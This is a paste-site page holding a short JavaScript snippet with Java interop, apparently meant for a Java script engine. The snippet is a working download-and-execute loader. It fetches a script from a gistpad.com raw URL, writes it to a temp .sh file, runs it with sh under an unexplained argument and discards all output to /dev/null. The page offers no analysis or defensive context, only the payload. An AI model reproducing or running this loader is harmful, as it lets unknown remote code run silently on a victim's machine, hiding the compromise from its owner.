Not a member of GistPad yet?
Sign Up,
it unlocks many cool features!
- var url = "https://gistpad.com/raw/fsdfsdfsd";
- var is = new java.net.URL(url).openStream();
- var ba = new java.io.ByteArrayOutputStream();
- var buf = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 8192);
- var n = 0;
- while ((n = is.read(buf)) > 0) { ba.write(buf, 0, n); }
- is.close();
- var script = new java.lang.String(ba.toByteArray(), "UTF-8");
- var f = java.io.File.createTempFile("flk", ".sh");
- var w = new java.io.FileWriter(f);
- w.write(script);
- w.close();
- var pb = new java.lang.ProcessBuilder();
- pb.command().add("sh");
- pb.command().add("-s");
- pb.command().add("--");
- pb.command().add("ALNK");
- pb.redirectInput(new java.io.File(f.getAbsolutePath()));
- pb.redirectOutput(new java.io.File("/dev/null"));
- pb.redirectErrorStream(true);
- pb.start();
RAW Paste Data
Copied
